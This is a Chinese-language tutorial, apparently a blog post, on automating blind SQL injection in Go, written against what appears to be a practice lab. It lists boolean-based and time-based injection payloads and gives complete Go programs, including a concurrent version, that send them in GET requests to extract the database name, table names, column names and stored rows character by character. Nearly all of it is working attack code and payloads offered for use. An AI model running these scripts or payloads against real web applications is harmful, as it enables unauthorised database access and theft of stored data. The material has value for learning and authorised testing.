其中脚本最重要的环节就是payload
部分了,需要如何去闭合,如何构造SQL语句来达到判断的效果。(还有如何绕过waf等等。。。)
下面是最基础的布尔型盲注的payload
' and length(database()=n)--+ ' and (ascii(substr(database(),1))=110 --+ ' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=2 --+ ' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=128) --+ ' and length((select column_name from information_schema.columns where table_name='emails' limit 0,1))=2--+ ' and length((select id from emails limit 0,1)>1)--+
下面是时间盲注的payload
' and sleep(3)--+ ' and if(length(database())=8,sleep(3),1)--+ ' and if( payload ,sleep(3),1)--+ ' and if((ascii(substr(database(),1))=115),sleep(3),1)--
脚本思路也比较简单(只针对GET型注入,POST型同理)
对于布尔型盲注,配合构造好的payload
发起GET请求,检查响应体中是否有我们的判断依据。先判断出库名、字段名、表名对应的长度,将其作为参数构造循环,搭配limit
来逐位判断。
package main import ( "fmt" "io/ioutil" "log" "net/http" "net/url" "strings" ) //发送get请求 func getRequest(payload string) bool{ payload = url.QueryEscape(payload) resp, err1 := http.Get(urlL + payload) if err1 != nil { log.Fatalln(err1) } body, err2:= ioutil.ReadAll(resp.Body) if err2 != nil { log.Fatalln(err2) } defer resp.Body.Close() if strings.Contains(string(body), "You are in...........") { return true } return false } //判断长度的方法 func testLength(payload string) int { var result int for i := 0; i < 50; i++ { payloadDbLength := fmt.Sprintf("' and length(%s)=%d-- ", payload, i) f := getRequest(payloadDbLength) if f { result = i break } } return result } //逐位判断的方法 func testName(payload string, length int) string{ var result string for i := 1; i <= length; i++ { for j :=32 ; j <= 128; j++ { payloadDbName := fmt.Sprintf("' and (ascii(substr(%s,%d))=%d)-- ", payload, i, j) f := getRequest(payloadDbName) if f { result += string(rune(j)) fmt.Println(result) } } } return result } //该方法用于指定字段和表名的判断,需要给定参数表名和字段名 func testContext(tableName, columnName string) { ctxList := make([]string,0) for i := 0; i < 50; i++ { ctxPayload := fmt.Sprintf("(select %s from %s limit %d,1)", columnName, tableName, i) ctxLength := testLength(ctxPayload) if ctxLength == 0 { break } ctx := testName(ctxPayload,ctxLength) ctxList = append(ctxList, ctx) fmt.Println(ctx) } fmt.Println(ctxList) } func sqlInjectBaseBool() { dbPayload := "database()" dbLength = testLength(dbPayload) fmt.Println(dbLength) dbName = testName(dbPayload,dbLength) test = "" fmt.Println(dbName) for i := 0; i < 20; i++ { tablePayload := fmt.Sprintf("(select table_name from information_schema.tables where table_schema=database() limit %d,1)", i) tableLength := testLength(tablePayload) if tableLength == 0 { break } tableName := testName(tablePayload, tableLength) test = "" tableList = append(tableList, tableName) fmt.Println(tableName) } fmt.Println(tableList) //tableList := []string{"emails", "referers", "uagents", "users"} for _, tableName := range tableList { columnList := make([]string,0) fmt.Println(tableName) for i := 0; i < 20; i++ { columnPayload := fmt.Sprintf("(select column_name from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1)", tableName, i) columnLength := testLength(columnPayload) if columnLength == 0{ break } columnName := testName(columnPayload,columnLength) test = "" columnList = append(columnList, columnName) } tableAndColumns[tableName] = columnList } fmt.Println(tableAndColumns) }
同上布尔型,发送GET请求,不过判断的依据位服务器的响应时长是否超过了我们sleep()
函数中设定的时间。
package main import ( "fmt" "log" "net/http" "net/url" "time" ) //发送get请求。判断响应时长是否大于预定时间 func getRequestBaseTime(payload string) bool{ payload = url.QueryEscape(payload) //fmt.Println(payload) startTime := time.Now() resp, err1 := http.Get(urlL + payload) if err1 != nil { log.Fatalln(err1) } defer resp.Body.Close() endTime := time.Now() usedTime := endTime.Sub(startTime) if usedTime >= 3 * time.Second { return true } return false } //判断长度的方法 func testLengthBaseTime(payload string) int { var result int for i := 0; i < 50; i++ { payloadDbLength := fmt.Sprintf("' and if(length(%s)=%d,sleep(3),1)-- ", payload, i) f := getRequestBaseTime(payloadDbLength) if f { result = i break } } return result } //判断表名、库名等的方法 func testNameBaseTime(payload string, length int) string{ var result string for i := 1; i <= length; i++ { for j :=32 ; j <= 128; j++ { payloadDbName := fmt.Sprintf("' and if((ascii(substr(%s,%d))=%d),sleep(3),1)-- ", payload, i, j) f := getRequestBaseTime(payloadDbName) if f { result += string(rune(j)) fmt.Println(result) } } } return result } func sqlInjectBaseTime() { dbPayload := "database()" dbLength = testLengthBaseTime(dbPayload) fmt.Println(dbLength) dbName = testNameBaseTime(dbPayload,dbLength) test = "" fmt.Println(dbName) for i := 0; i < 20; i++ { tablePayload := fmt.Sprintf("(select table_name from information_schema.tables where table_schema=database() limit %d,1)", i) tableLength := testLength(tablePayload) if tableLength == 0 { break } tableName := testNameBaseTime(tablePayload, tableLength) test = "" tableList = append(tableList, tableName) fmt.Println(tableName) } fmt.Println(tableList) //tableList := []string{"emails", "referers", "uagents", "users"} for _, tableName := range tableList { columnList := make([]string,0) fmt.Println(tableName) for i := 0; i < 20; i++ { columnPayload := fmt.Sprintf("(select column_name from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1)", tableName, i) columnLength := testLengthBaseTime(columnPayload) if columnLength == 0{ break } columnName := testNameBaseTime(columnPayload,columnLength) test = "" columnList = append(columnList, columnName) } tableAndColumns[tableName] = columnList } fmt.Println(tableAndColumns) }
下面代码是对布尔型盲注的并发代码。时间上大概会快一倍。
在逐位进行猜解时,通过循环添加工人(添加线程),对ascii值进行多线程的判断。
逻辑也比较简单,时间盲注也可以使用此逻辑。。
但是仍存在问题没有解决:程序刚开始执行速度很快,但是到后面速度会下降到与不并发一样。。不太理解这里存在的问题。。。
package main import ( "fmt" "sync" ) func sqlInject() { dbPayload := "database()" dbLength = testLength(dbPayload) fmt.Println(dbLength) dbName = testWorker(dbPayload,dbLength) test = "" fmt.Println(dbName) for i := 0; i < 20; i++ { tablePayload := fmt.Sprintf("(select table_name from information_schema.tables where table_schema=database() limit %d,1)", i) tableLength := testLength(tablePayload) if tableLength == 0 { break } tableName := testWorker(tablePayload, tableLength) test = "" tableList = append(tableList, tableName) fmt.Println(tableName) } fmt.Println(tableList) //tableList := []string{"emails", "referers", "uagents", "users"} for _, tableName := range tableList { columnList := make([]string,0) fmt.Println(tableName) for i := 0; i < 20; i++ { columnPayload := fmt.Sprintf("(select column_name from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1)", tableName, i) columnLength := testLength(columnPayload) if columnLength == 0{ break } columnName := testWorker(columnPayload,columnLength) test = "" columnList = append(columnList, columnName) } tableAndColumns[tableName] = columnList } fmt.Println(tableAndColumns) } //工人函数,从asciiCode这个通道内取出数据来判断。。 func worker(asciiCode chan int, payload string, i int, wg *sync.WaitGroup) { for code := range asciiCode { payloadDbName := fmt.Sprintf("' and (ascii(substr(%s,%d))=%d)-- ", payload, i, code) f := getRequest(payloadDbName) if f { test += string(rune(code)) fmt.Println(test) //close(asciiCode) } wg.Done() } } func testWorker(payload string, length int) string{ //var result string var wg sync.WaitGroup for j := 1; j <= length; j++ { //缓冲通道的容量也可以设置的大一些,可以稍微提升性能。 asciiCode := make(chan int,10) for i := 0; i < 10; i++ { go worker(asciiCode, payload, j, &wg) } for i := 32; i <= 128; i++{ wg.Add(1) asciiCode <- i } wg.Wait() close(asciiCode) } return test }
发起的GET请求中,URL字符串必须先进行编码。
如果直接使用GO的方法发起请求,由于字符串时没有经过编码处理的,特殊符号无法被服务器识别,就会产生400报错。
可以先手工对要发起的请求进行URL编码,也可以使用url.QueryEscape()
。
当你使用此函数时,会返回一个经过编码的字符串,其中所有的特殊符号都会经过编码。但是通常注入时,在URL中输入的+
会被认为是一个空格。所以在payload中需要把+
号换成空格。